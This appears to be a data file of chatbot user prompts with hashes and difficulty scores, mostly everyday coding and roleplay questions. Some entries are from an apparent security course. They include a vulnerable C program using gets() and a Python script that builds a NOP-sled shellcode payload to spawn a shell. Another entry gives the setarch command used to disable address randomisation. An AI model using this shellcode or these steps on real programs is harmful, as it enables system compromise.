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45,482
I want to alter this applescript. I want it to check if the artist is "artist" and do as it currently does. If it is not "artist", then I want it to wait and let the track play in it's entirety. Here's the code snippet: repeat loopCounter times set shuffleCounter to shuffleCounter + 1 set currentTrack to current track set trackDuration to duration of currentTrack -- Check track duration and decide delay if trackDuration / 1000 ≤ 31 then next track else delay (30 + (0.05 * (trackDuration / 1000))) next track end if
9aca578294a25380e93f5c7899164424
{ "intermediate": 0.3062852919101715, "beginner": 0.4962846338748932, "expert": 0.19743013381958008 }
45,483
this javascript for leaflet.js adds points from a cities.geojson file. I want to create a polyline when a user clicks on a point and then on another point (from the geojson file) - const map = L.map('map').setView([54.2231637,-1.9381623], 6); // Function to create circle markers with hover functionality function createCircleMarkers(geojson) { return L.geoJSON(geojson, { pointToLayer: function (feature, latlng) { const circleMarker = L.circleMarker(latlng, { radius: 4, fillColor: '#ff7800', color: '#000', weight: 0.2, opacity: 1, fillOpacity: 0.8 }); // Bind a popup with city name on mouseover circleMarker.on('mouseover', function () { this.bindPopup(feature.properties.city).openPopup(); }); return circleMarker; } }); } fetch('gb.geojson') .then(response => response.json()) .then(geojson => { L.geoJSON(geojson, { fillColor: 'none', // Style for polygon (empty fill) weight: 1, color: '#000', opacity: 1, fillOpacity: 0 }).addTo(map); }) .catch(error => { console.error("Error loading GeoJSON:", error); }); fetch('cities.geojson') .then(response => response.json()) .then(geojson => { createCircleMarkers(geojson).addTo(map); }) .catch(error => { console.error("Error loading GeoJSON:", error); });
fae0d9b2a023fcd1d32586bd8533b9fd
{ "intermediate": 0.47628703713417053, "beginner": 0.29663726687431335, "expert": 0.22707577049732208 }
45,484
RuntimeError: dictionary changed size during iteration
025c217bc78434bb07c605a83bd969d4
{ "intermediate": 0.4292604625225067, "beginner": 0.2615159749984741, "expert": 0.3092235028743744 }
45,485
Hey when chatgpt is used as a roleplayer there is a options like temperature, maximum token and etc. What is the prompt for that
ec06e24a606b79f81a20b0536c89af5b
{ "intermediate": 0.42031025886535645, "beginner": 0.20264428853988647, "expert": 0.3770454227924347 }
45,486
Rewrite this discord chat log but set in Neon Genesis Evangelion, keep the original format “leet — 02/08/2024 11:03 PM i won the match for u miguel oerdin_SAD — 02/08/2024 11:04 PM 👍 You missed a call from Spartan_godrage that lasted 10 minutes. — 02/08/2024 11:05 PM Spartan_godrage — 02/08/2024 11:07 PM Gn Gnocchis You missed a call from leet that lasted 5 minutes. — 02/09/2024 3:41 PM oerdin_SAD — 02/09/2024 3:42 PM Hold up You missed a call from leet that lasted 18 minutes. — 02/09/2024 3:47 PM leet started a call that lasted 4 hours. — 02/09/2024 4:05 PM oerdin_SAD — 02/09/2024 4:05 PM Hold up 🆙 M_717 — 02/09/2024 4:27 PM fried chicken (gegadedigedagedo) is literally so viscerally hot, I want to kiss it's cute little face and take it on a romantic boat ride🥰💖 https://youtu.be/TDYO18bh0W0 YouTube talking food dancing foot😰 Image https://www.fotor.com/png-maker/ Free PNG Maker: Convert JPG to PNG Transparent Online | Fotor Fotor's free online PNG maker helps you create transparent PNG images easily. Convert JPG to PNG transparent, improve PNG quality and more. Try it now! Free PNG Maker: Convert JPG to PNG Transparent Online | Fotor M_717 — 02/09/2024 4:58 PM leet — 02/09/2024 4:59 PM M_717 — 02/09/2024 4:59 PM https://youtu.be/6QvrajkqRRw YouTube Caseoh Shorts CaseOh Marcelo Messages Compilation😂 #caseoh #shorts Image Marcello is this real?! leet — 02/09/2024 5:01 PM yea i saw them doing it under the bleachers"
ae61f5396da1e5ed71e45dfcefa649e1
{ "intermediate": 0.28504109382629395, "beginner": 0.39201170206069946, "expert": 0.32294726371765137 }
45,487
Rewrite this discord chat log but set in RDR2, keep the original format “leet — 02/08/2024 11:03 PM i won the match for u miguel oerdin_SAD — 02/08/2024 11:04 PM 👍 You missed a call from Spartan_godrage that lasted 10 minutes. — 02/08/2024 11:05 PM Spartan_godrage — 02/08/2024 11:07 PM Gn Gnocchis You missed a call from leet that lasted 5 minutes. — 02/09/2024 3:41 PM oerdin_SAD — 02/09/2024 3:42 PM Hold up You missed a call from leet that lasted 18 minutes. — 02/09/2024 3:47 PM leet started a call that lasted 4 hours. — 02/09/2024 4:05 PM oerdin_SAD — 02/09/2024 4:05 PM Hold up 🆙 M_717 — 02/09/2024 4:27 PM fried chicken (gegadedigedagedo) is literally so viscerally hot, I want to kiss it's cute little face and take it on a romantic boat ride🥰💖 https://youtu.be/TDYO18bh0W0 YouTube talking food dancing foot😰 Image https://www.fotor.com/png-maker/ Free PNG Maker: Convert JPG to PNG Transparent Online | Fotor Fotor's free online PNG maker helps you create transparent PNG images easily. Convert JPG to PNG transparent, improve PNG quality and more. Try it now! Free PNG Maker: Convert JPG to PNG Transparent Online | Fotor M_717 — 02/09/2024 4:58 PM leet — 02/09/2024 4:59 PM M_717 — 02/09/2024 4:59 PM https://youtu.be/6QvrajkqRRw YouTube Caseoh Shorts CaseOh Marcelo Messages Compilation😂 #caseoh #shorts Image Marcello is this real?! leet — 02/09/2024 5:01 PM yea i saw them doing it under the bleachers"
dca94e70cad31775a6696f66b00d623c
{ "intermediate": 0.28728437423706055, "beginner": 0.37551411986351013, "expert": 0.3372015058994293 }
45,488
In this javascript add a click event for the button to console log 'button clicked' - var money = 100000; const map = L.map('map').setView([54.2231637,-1.9381623], 6); let clickedPoints = []; let isLineDrawn = false; // Function to create circle markers with click functionality function createCircleMarkers(geojson) { return L.geoJSON(geojson, { pointToLayer: function (feature, latlng) { const circleMarker = L.circleMarker(latlng, { radius: 4, fillColor: '#ff7800', color: '#000', weight: 0.2, opacity: 1, fillOpacity: 0.8 }); // Bind a popup with city name on mouseover circleMarker.on('mouseover', function () { this.bindPopup(feature.properties.city).openPopup(); }); // Add click event listener to store clicked point coordinates circleMarker.on('click', function (e) { if (!isLineDrawn) { clickedPoints.push(e.latlng); // Create a polyline if two points have been clicked if (clickedPoints.length === 2) { const polyline = L.polyline(clickedPoints).addTo(map); clickedPoints = []; isLineDrawn = true; // Remove click event listener after a line has been drawn map.off('click'); // Set the map bounds to show the area with the polyline map.fitBounds(polyline.getBounds()); money = money - 50000; // Subtract 50000 from money const moneyDisplay = document.getElementById('moneydisplay'); const moneyString = `£${money}`; // Assuming money is a number moneyDisplay.textContent = moneyString; const instructionsElement = document.getElementById('instructions'); // Clear any existing content in the instructions element: instructionsElement.innerHTML = ''; // Create separate paragraph elements: const congratulationsParagraph = document.createElement('p'); congratulationsParagraph.textContent = 'Congratulations you have built your first train line.'; const costsParagraph = document.createElement('p'); costsParagraph.textContent = `Your construction costs were £50,000. You have £50,000 remaining.`; const buyTrainParagraph = document.createElement('p'); buyTrainParagraph.textContent = 'You now need to buy a train.'; const newTrainParagraph = document.createElement('p'); newTrainParagraph.textContent = 'At this time you can only afford to buy the Liverpool Lion. The Liverpool Lion has a top speed of 35 miles per hour. It can pull four carriages. Which means your train will have a capacity of around 120 seated passengers'; const traincost = document.createElement('p'); traincost.textContent = `The Liverpool Lion will cost you £20,000 to purchase. Do you wish to buy the Liverpool Lion?`; // Append paragraphs to the instructions element: instructionsElement.appendChild(congratulationsParagraph); instructionsElement.appendChild(costsParagraph); instructionsElement.appendChild(buyTrainParagraph); instructionsElement.appendChild(newTrainParagraph); instructionsElement.appendChild(traincost); // Add button element: const buyButton = document.createElement('button'); buyButton.id = 'buybutton'; buyButton.textContent = 'Buy Train'; // Append the button element to the instructions element: instructionsElement.appendChild(buyButton) } } }); return circleMarker; } }); } fetch('gb.geojson') .then(response => response.json()) .then(geojson => { L.geoJSON(geojson, { fillColor: 'none', // Style for polygon (empty fill) weight: 1, color: '#000', opacity: 1, fillOpacity: 0 }).addTo(map); }) .catch(error => { console.error('Error loading GeoJSON:', error); }); fetch('cities.geojson') .then(response => response.json()) .then(geojson => { createCircleMarkers(geojson).addTo(map); }) .catch(error => { console.error('Error loading GeoJSON:', error); });
0cc56a8924e841653ee7ab6ea3412c85
{ "intermediate": 0.33741745352745056, "beginner": 0.342706561088562, "expert": 0.3198760151863098 }
45,489
write code use @nestjs/axios POST request login set cookie
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{ "intermediate": 0.557499885559082, "beginner": 0.13795939087867737, "expert": 0.304540753364563 }
45,490
Pretty print the graph from this html code, knowing Vertices 1, 2, 3, 4, 5, and 6 all have a degree of 3. <div class="sc-z3f5s1-1 fxdSVp"><div class="sc-2n8uaj-0 jQTWZO"><div class="sc-9wsboo-0 kTDwyq"><pre class="sc-1468b5q-13 language-plain line-numbers"><div class="sc-1468b5q-0"><code class="sc-1468b5q-14"><span class="sc-1468b5q-10 line-numbers-rows" aria-hidden="true"><span class="sc-1468b5q-10"></span><span class="sc-1468b5q-10"></span><span class="sc-1468b5q-10"></span><span class="sc-1468b5q-10"></span><span class="sc-1468b5q-10"></span><span class="sc-1468b5q-10"></span><span class="sc-1468b5q-10"></span></span> 1 --- 2 | \ | | \ | 6 --- 3 \ / 4 --- 5 </code></div></pre></div></div></div>
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{ "intermediate": 0.36172422766685486, "beginner": 0.39385882019996643, "expert": 0.2444169968366623 }
45,491
Pretty print the graph from this html code, knowing Vertices 1, 2, 3, 4, 5, and 6 all have a degree of 3, Hamiltonian Cycle: 1-2-3-4-5-6-1, and Eulerian Cycle: 1-2-3-6-4-5-3-1 <div class="sc-z3f5s1-1 fxdSVp"><div class="sc-2n8uaj-0 jQTWZO"><div class="sc-9wsboo-0 kTDwyq"><pre class="sc-1468b5q-13 language-plain line-numbers"><div class="sc-1468b5q-0"><code class="sc-1468b5q-14"><span class="sc-1468b5q-10 line-numbers-rows" aria-hidden="true"><span class="sc-1468b5q-10"></span><span class="sc-1468b5q-10"></span><span class="sc-1468b5q-10"></span><span class="sc-1468b5q-10"></span><span class="sc-1468b5q-10"></span><span class="sc-1468b5q-10"></span><span class="sc-1468b5q-10"></span></span> 1 --- 2 | \ | | \ | 6 --- 3 \ / 4 --- 5 </code></div></pre></div></div></div>
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{ "intermediate": 0.3298114240169525, "beginner": 0.4439105987548828, "expert": 0.22627799212932587 }
45,492
Namespace declaration is never used :3 Missing `contentDescription` attribute on image :10 <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:orientation="vertical" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingLeft="20dp" android:paddingRight="20dp"> <ImageView android:id="@+id/image_layout" android:layout_width="match_parent" android:layout_height="200dp" android:layout_marginTop="20dp" android:scaleType="centerCrop" android:background="@drawable/image_outline" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_margin="20dp" android:text="@string/capture_button" android:textSize="12sp" android:background="@drawable/button_background" android:id="@+id/captureButton" /> </LinearLayout>
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{ "intermediate": 0.4836631715297699, "beginner": 0.23160257935523987, "expert": 0.28473421931266785 }
45,493
'get(String!): Any?' is deprecated. Deprecated in Java :40 in this error when i try to fix it using the built-in in android studio the solution that it keep suggestion is DEPRECATION ‘get(String!): Any?’ is deprecated. Deprecated in Java :40 package com.androidstudio.clearup import android.annotation.SuppressLint import android.app.Activity import android.content.Intent import android.graphics.Bitmap import android.os.Bundle import android.provider.MediaStore import android.widget.Button import android.widget.ImageView import androidx.appcompat.app.AppCompatActivity import com.clearup.android.clearup.R class MainActivity : AppCompatActivity() { private val requestImageCapture = 1 override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.main_activity) val captureButton: Button = findViewById(R.id.captureButton) // Replace with your button’s ID captureButton.setOnClickListener { dispatchTakePictureIntent() } } @SuppressLint("QueryPermissionsNeeded") private fun dispatchTakePictureIntent() { Intent(MediaStore.ACTION_IMAGE_CAPTURE).also { takePictureIntent -> takePictureIntent.resolveActivity(packageManager)?.also { startActivityForResult(takePictureIntent, requestImageCapture) } } } override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) { super.onActivityResult(requestCode, resultCode, data) if (requestCode == requestImageCapture && resultCode == Activity.RESULT_OK) { val imageBitmap = data?.extras?.get("data") as? Bitmap val imageView: ImageView = findViewById(R.id.image_layout) imageView.setImageBitmap(imageBitmap) } } }
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{ "intermediate": 0.6307012438774109, "beginner": 0.17397759854793549, "expert": 0.19532115757465363 }
45,494
hello i think there is some missing parts in my file_paths.xml and i need to connect them in my MainActivity.kt MainActivity package com.androidstudio.clearup import android.annotation.SuppressLint import android.app.Activity import android.content.Intent import android.graphics.Bitmap import android.net.Uri import android.os.Bundle import android.provider.MediaStore import android.widget.Button import android.widget.ImageView import androidx.activity.result.ActivityResultLauncher import androidx.activity.result.contract.ActivityResultContracts import androidx.appcompat.app.AppCompatActivity import androidx.core.content.FileProvider import com.clearup.android.clearup.R import java.io.File class MainActivity : AppCompatActivity() { private val requestImageCapture = 1 override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.main_activity) setupTakePictureIntent() val captureButton: Button = findViewById(R.id.captureButton) // Replace with your button’s ID captureButton.setOnClickListener { dispatchTakePictureIntent() } } private fun dispatchTakePictureIntent() { val photoFile: File? = createImageFile() photoFile?.also { imageUri = FileProvider.getUriForFile( this, "your.package.fileprovider", it ) getImage.launch(imageUri) } } @SuppressLint("QueryPermissionsNeeded") private fun setupTakePictureIntent() { getImage = registerforActivityResult(ActivityResultContracts.TakePicture()) { success: Boolean -> if (success) { val imageView: ImageView = findViewById(R.id.image_layout) imageView.setImageURI(imageUri) } } } override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) { super.onActivityResult(requestCode, resultCode, data) if (requestCode == requestImageCapture && resultCode == Activity.RESULT_OK) { val imageBitmap = data?.extras?.get("data") as? Bitmap val imageView: ImageView = findViewById(R.id.image_layout) imageView.setImageBitmap(imageBitmap) } } private lateinit var getImage: ActivityResultLauncher<Uri> private lateinit var imageUri: Uri } file_paths.xml <?xml version="1.0" encoding="utf-8"?> <paths> <external-path name="my_images" path="Android/data"> </external-path> </paths>
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{ "intermediate": 0.43457505106925964, "beginner": 0.4080698788166046, "expert": 0.15735502541065216 }
45,495
suppose I have front end and backend like this: html: <div class="col-xs-4"> <h5 class="text-primary text-left mt-5">New Bug to Track</h5> <input id="new-bug1" class="form-control" type="text" placeholder="Enter id here..."> <input id="new-bug2" class="form-control" type="text" placeholder="Enter description here..."> <input id="new-bug3" class="form-control" type="text" placeholder="Enter critical here..."> <button type="submit" data-dismiss="modal" class="btn btn-success" onclick="addBug(document.getElementById('new-bug').value);">Save</button> </div> javascript: async function addBug(id, des, critical) { let form = document.getElementById('add-bug-container'); document.getElementById('new-bug1').value = ''; document.getElementById('new-bug2').value = ''; document.getElementById('new-bug3').value = ''; form.classList.remove('was-validated'); contract.methods .getBugCount() .call({ from: web3.eth.defaultAccount }) .then( (bugNum) => { addBugToList(bugNum, name, false); }, (err) => { console.log('Failed to retrieve the number of bugs from Ganache.'); } ); try { await contract.methods .addBug(name, id, critical) .send({ from: web3.eth.defaultAccount }); } catch { console.log('Failed to save bug to blockchain.'); } } I want the addBug function could capture html form input to send to Ethereum testnet.
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45,496
vuln_program.c: #include <stdio.h> #include <stdlib.h> #include <string.h> char passwd[] = "asd"; char usr_input[4]; void target() { printf("You have entered the correct passwd\n"); exit(0); } void prompt(){ char buf[4]; gets(buf); strncpy(usr_input, buf, 4); } int main(){ prompt(); if(strcmp(usr_input, passwd) == 0) { target(); }else { printf("Wrong passwd!\n"); exit(1); } return 0; } Use a binary analyzing tool to get the address of target function. Tools like nm, readelf and objdump can fulfill this job. Give me the commands for these to get the target address
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45,497
Class referenced in the manifest, `com.clearup.android.clearup.MainActivity`, was not found in the project or the libraries :17 Unresolved class 'MainActivity' :17 XML tag has empty body :30 Typo: In word 'clearup' :4 Typo: In word 'clearup' :4 <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" package="com.clearup.android.clearup"> <application android:allowBackup="true" android:dataExtractionRules="@xml/data_extraction_rules" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.ClearUp" tools:targetApi="31"> <activity android:name=".MainActivity" android:exported="true" android:theme="@style/Theme.ClearUp"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <provider android:authorities="${applicationId}.provider" android:name="androidx.core.content.FileProvider" android:exported="false" android:grantUriPermissions="true"> <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths"></meta-data> </provider> </application> </manifest>
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45,498
Исправь ошибку в этом AHK скрипте: :?:/setid:: sendinput, /setid{space} input, id, V, {enter} msgbox, %id%
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45,499
Can you write a pine script strategy to test the Twin Range Filter indicator with the settings below: Fast period=12 Fast range=1 Slow period=4 Slow range=2
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45,500
چرا این ارور رو توی لینوکس می‌گیرم؟ $ chmod +x warp-plus $ ./warp-plus bash: ./warp-plus: Permission denied
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{ "intermediate": 0.3663042187690735, "beginner": 0.3361853063106537, "expert": 0.2975104749202728 }
45,501
Simplify this method for me: int x = InputHandler.getMouseX(); int y = Main.DRAW_HEIGHT - InputHandler.getMouseY(); float desiredOpacity = 0; if(!InputHandler.isWindowFocused()) { selected = false; } else if((x < this.x + width && x >= this.x) && (y < this.y + height && y >= this.y)) { desiredOpacity = 0.7f; if(InputHandler.isPrimaryDown()) { selected = true; desiredOpacity = 1; } // If hovering, and the previous tick we selected it, and now we released the press else if(selected) { selected = false; click(); } // Focused, not hovering but we are keeping our finger down outside the button else if(selected) { desiredOpacity = 0.7f; } } else { if(selected && InputHandler.isPrimaryDown()) { desiredOpacity = 0.7f; } else { selected = false; } } System.out.println(selected); // Update lerp for smooth buttons overlayStrength = MathUtils.lerp(overlayStrength, desiredOpacity, 0.1f);
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45,502
Write me a method that blends 2 colors together (represented as 3d vectors). This method accepts 2 colors and a ratio, where 0 means use the entire color of the first, 1 being all the color of the second
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{ "intermediate": 0.3772934377193451, "beginner": 0.1357695460319519, "expert": 0.4869370460510254 }
45,503
"Write me a method that blends 2 colors together (represented as 3d vectors). This method accepts 2 colors and a ratio, where 0 means use the entire color of the first, 1 being all the color of the second. in java, just give me the method and no yapping please
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{ "intermediate": 0.5380658507347107, "beginner": 0.11261595040559769, "expert": 0.3493182361125946 }
45,504
How do I tint a color with RGB values in java
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{ "intermediate": 0.6003317832946777, "beginner": 0.09623163938522339, "expert": 0.30343660712242126 }
45,505
How do I tint a color with another color with RGB values in java
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{ "intermediate": 0.6005431413650513, "beginner": 0.09460669755935669, "expert": 0.30485016107559204 }
45,506
Instead of blending, how do I add a tint to a color in java
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{ "intermediate": 0.5195206999778748, "beginner": 0.10788749158382416, "expert": 0.3725917637348175 }
45,507
continue this level list with the original format, all inner planets and their moons are derelict from mercury onto mars, include references to media in each sectors ( sector = {I}, {II}, 4 sectors for each planet/pluto/(moon if gas giant [1 moon per gas giant]) name each sector with a reference to popular culture or the bible. for example, ### EARTH ### {4} "Among the stars" here is the original format: "
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{ "intermediate": 0.2825447916984558, "beginner": 0.44259780645370483, "expert": 0.27485743165016174 }
45,508
Fill in this level list of AT HELL'S GATE, a game set 500 years after the rapture inspired by sci-fi and judeo-christian mythology. Each area (marked in ###s have 4 major sectors, every 4th is a space station excluding Pluto's). each sector is marked by {_}, and then listed in roman numerals. Every sector has a name, (short) inspired by judeo-christian mythology or popular media.
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{ "intermediate": 0.35482168197631836, "beginner": 0.3211270272731781, "expert": 0.3240513801574707 }
45,509
Fill in this level list of AT HELL'S GATE, a game set 500 years after the rapture inspired by sci-fi and judeo-christian mythology. Each area (marked in ###s have 4 major sectors, every 4th sector is a space station excluding Pluto's). each sector is marked by {_}, inside the sector marking is a roman numeral as shown, Every sector has a name, (short) inspired by judeo-christian mythology or popular media, the only pre-determined name is the last sector of pluto, titled "AT HELL'S GATE"
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45,510
can you provide me the code to put in libs.versions.toml using this v7 Support Libraries These libraries provide specific feature sets and can be included in your application independently from each other. v7 appcompat library Part of Android Jetpack. Note:The appcompat library has migrated into the AndroidX library, which is an Android Jetpack component. See it in use in the Sunflower demo app. This library adds support for the Action Bar user interface design pattern. This library includes support for material design user interface implementations. Note: This library depends on the v4 Support Library. Here are a few of the key classes included in the v7 appcompat library: ActionBar - Provides an implementation of the action bar user interface pattern. For more information on using the Action Bar, see the Action Bar developer guide. AppCompatActivity - Adds an application activity class that can be used as a base class for activities that use the Support Library action bar implementation. AppCompatDialog - Adds a dialog class that can be used as a base class for AppCompat themed dialogs. ShareActionProvider - Adds support for a standardized sharing action (such as email or posting to social applications) that can be included in an action bar. The Gradle build script dependency identifier for this library is as follows: com.android.support:appcompat-v7:28.0.0 [versions] agp = "8.3.1" kotlin = "1.9.0" coreKtx = "1.14.0" junit = "4.13.2" junitVersion = "1.1.5" espressoCore = "3.5.1" lifecycleRuntimeKtx = "2.7.0" activityCompose = "1.8.2" composeBom = "2024.04.00" fragment = "1.6.2" [libraries] androidx-core-ktx = { group = "androidx.core", name = "core-ktx", version.ref = "coreKtx" } androidx-fragment-ktx = { group = "androidx.fragment", name = "fragment-ktx", version.ref = "fragment" } junit = { group = "junit", name = "junit", version.ref = "junit" } androidx-junit = { group = "androidx.test.ext", name = "junit", version.ref = "junitVersion" } androidx-espresso-core = { group = "androidx.test.espresso", name = "espresso-core", version.ref = "espressoCore" } androidx-lifecycle-runtime-ktx = { group = "androidx.lifecycle", name = "lifecycle-runtime-ktx", version.ref = "lifecycleRuntimeKtx" } androidx-activity-compose = { group = "androidx.activity", name = "activity-compose", version.ref = "activityCompose" } androidx-compose-bom = { group = "androidx.compose", name = "compose-bom", version.ref = "composeBom" } androidx-ui = { group = "androidx.compose.ui", name = "ui" } androidx-ui-graphics = { group = "androidx.compose.ui", name = "ui-graphics" } androidx-ui-tooling = { group = "androidx.compose.ui", name = "ui-tooling" } androidx-ui-tooling-preview = { group = "androidx.compose.ui", name = "ui-tooling-preview" } androidx-ui-test-manifest = { group = "androidx.compose.ui", name = "ui-test-manifest", version = "1.6.5" } androidx-ui-test-junit4 = { group = "androidx.compose.ui", name = "ui-test-junit4" } androidx-material3 = { group = "androidx.compose.material3", name = "material3" } [plugins] androidApplication = { id = "com.android.application", version.ref = "agp" } jetbrainsKotlinAndroid = { id = "org.jetbrains.kotlin.android", version.ref = "kotlin" }
61cca58c99fccd15e059b0466a4c5b35
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45,511
reimagine this and make it more epic, as well as include references to popular culture
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45,512
I want to programically apply a color on top of another color, like a tint with a 0.5 opacity. Like I want the ability to combine these colors together, where 0 as the ratio represents the base color, 1 represents adding the entire tint with 1 opacity. Give it to me as a java function
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{ "intermediate": 0.3091539144515991, "beginner": 0.1817772537469864, "expert": 0.5090688467025757 }
45,513
long mult2(long, long); void multstore(long x, long y, long *dest) { long t = mult2(x, y); *dest = t; } multstore: .LFB0: .cfi_startproc endbr64 pushq %rbx .cfi_def_cfa_offset 16 .cfi_offset 3, -16 movq %rdx, %rbx call mult2@PLT movq %rax, (%rbx) popq %rbx .cfi_def_cfa_offset 8 ret .cfi_endproc in the c code and asm code above, I see that multstore saves and recovers %rbx, but not other registers, why?
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45,514
difference between for and while loop in python with an elaborate example
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{ "intermediate": 0.1563965082168579, "beginner": 0.6238515377044678, "expert": 0.2197519838809967 }
45,515
hello i am currently developing an app named Clear Up where it is suppose to detect written text or text in the camera just like the google lens and this app is design to help people with dyslexia. so basically the text will be detected and then it will say the word using text to speech feature but i am no longer near there because i am stuck here in making a simple button that activates the camera. after running the program in my phone it just doesnt work and i think its in my MainActivity.kt that is wrong because i noticed that when running my main_activity.xml it just says Hello Android when i did not configured the MainActivity.kt yet. just provide me the explanations and when i ask you to give me or revise the code just do what i tell you okay? because im sure its gonna crash this site when too much token. here is my MainActivity.kt: package com.androidstudio.clearup import android.annotation.SuppressLint import android.app.Activity import android.content.Intent import android.graphics.Bitmap import android.net.Uri import android.os.Bundle import android.os.Environment import android.widget.Button import android.widget.ImageView import androidx.activity.result.contract.ActivityResultContracts import androidx.activity.result.ActivityResultLauncher import androidx.activity.result.registerForActivityResult import androidx.appcompat.app.AppCompatActivity import androidx.core.content.FileProvider import com.clearup.android.clearup.R import java.io.File import java.io.IOException import java.text.SimpleDateFormat import java.util.Date import java.util.Locale open class MainActivity : AppCompatActivity() { private val requestImageCapture = 1 override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.main_activity) setupTakePictureIntent() val captureButton: Button = findViewById(R.id.captureButton) // Replace with your button’s ID captureButton.setOnClickListener { dispatchTakePictureIntent() } } private fun dispatchTakePictureIntent() { val photoFile: File = createImageFile() photoFile.also { imageUri = FileProvider.getUriForFile( this, "com.android.clearup.fileProvider", it ) getImage.launch(imageUri) } } @SuppressLint("QueryPermissionsNeeded") private fun setupTakePictureIntent() { getImage = registerForActivityResult(ActivityResultContracts.TakePicture()) { success: Boolean -> if (success) { val imageView: ImageView = findViewById(R.id.image_layout) imageView.setImageURI(imageUri) } } } @Throws(IOException::class) private fun createImageFile(): File{ val timestamp: String = SimpleDateFormat("yyyMMdd_HHms", Locale.getDefault()).format(Date()) val storageDir: File = getExternalFilesDir(Environment.DIRECTORY_PICTURES)!! return File.createTempFile( "JPEG_${timestamp}_", ".jpg", storageDir ).apply { currentPhotoPath = absolutePath } } @Suppress("DEPRECATION") override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) { super.onActivityResult(requestCode, resultCode, data) if (requestCode == requestImageCapture && resultCode == Activity.RESULT_OK) { val extras = data?.extras val imageBitmap: Bitmap? = extras?.getParcelable("data") imageBitmap?.let { val imageView: ImageView = findViewById(R.id.image_layout) imageView.setImageBitmap(it) } } } private lateinit var getImage: ActivityResultLauncher<Uri> private lateinit var imageUri: Uri private var currentPhotoPath: String = "" } heres my main_activity.xml: <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingLeft="20dp" android:paddingRight="20dp"> <ImageView android:id="@+id/image_layout" android:layout_width="match_parent" android:layout_height="200dp" android:layout_marginTop="20dp" android:scaleType="centerCrop" android:background="@drawable/image_outline" android:contentDescription="@string/image_description"/> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_margin="20dp" android:text="@string/capture_button" android:textSize="12sp" android:background="@drawable/button_background" android:id="@+id/captureButton" /> </LinearLayout>
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45,516
import sys def generate_shellcode_attack_string(): # The shellcode provided shellcode = b"\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80" <br/> b"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" # Assumed the guessed address that probably will jump to the injected malicious code # This is hypothetical and should be determined based on the actual memory layout # of the program during runtime. For demonstration, let's assume 0xbffff000 guessed_addr = 0xbffff000 # Convert the guessed address to little-endian format little_endian_addr = guessed_addr.to_bytes(4, byteorder='little') # Number of NOPs. Adjust depending on the size needed to reach the return address nop_sled_length = 100 # Construct the NOP sled nop_sled = b"\x90" * nop_sled_length # Craft the attack string (NOP sled + shellcode), then prepend it with the guessed address # This assumes that there's enough space before %eip to place the entire NOP sled and shellcode attack_string = little_endian_addr + nop_sled + shellcode return attack_string def main(): if len(sys.argv) == 2 and sys.argv[1].lower() == "shellcode": attack_string = generate_shellcode_attack_string() with open("shell_string", "wb") as f: f.write(attack_string) print("Shellcode attack string saved to 'shell_string'.") else: print("Usage: python3 attack.py shellcode") if __name__ == "__main__": main() python3 attack.py shellcode File "/home/cs558/proj3/attack.py", line 5 shellcode = b"\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80" <br/> b"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" ^ SyntaxError: invalid syntax
a9334b0bc7e71124b42dad11edd1cf47
{ "intermediate": 0.30008989572525024, "beginner": 0.3737049698829651, "expert": 0.32620513439178467 }
45,517
import sys def generate_shellcode_attack_string(): # The shellcode provided shellcode = ( b"\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9" b"\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3" b"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" ) # Assumed the guessed address that probably will jump to the injected malicious code # This is hypothetical and should be determined based on the actual memory layout # of the program during runtime. For demonstration, let's assume 0xbffff000 guessed_addr = 0xbffff000 # Convert the guessed address to little-endian format little_endian_addr = guessed_addr.to_bytes(4, byteorder='little') # Number of NOPs. Adjust depending on the size needed to reach the return address nop_sled_length = 100 # Construct the NOP sled nop_sled = b"\x90" * nop_sled_length # Craft the attack string (NOP sled + shellcode), then prepend it with the guessed address # This assumes that there's enough space before %eip to place the entire NOP sled and shellcode attack_string = little_endian_addr + nop_sled + shellcode return attack_string def main(): if len(sys.argv) == 2 and sys.argv[1].lower() == "shellcode": attack_string = generate_shellcode_attack_string() with open("shell_string", "wb") as f: f.write(attack_string) print("Shellcode attack string saved to 'shell_string'.") else: print("Usage: python3 attack.py shellcode") if __name__ == "__main__": main() setarch ‘uname -m‘ -R ./vuln_program < shell_string setarch: invalid option -- 'm' Try 'setarch --help' for more information.
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45,518
You have a HashSet<String>, can you extract all the strings inside and concatenated in a single string separated by "_" in Rust?
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45,519
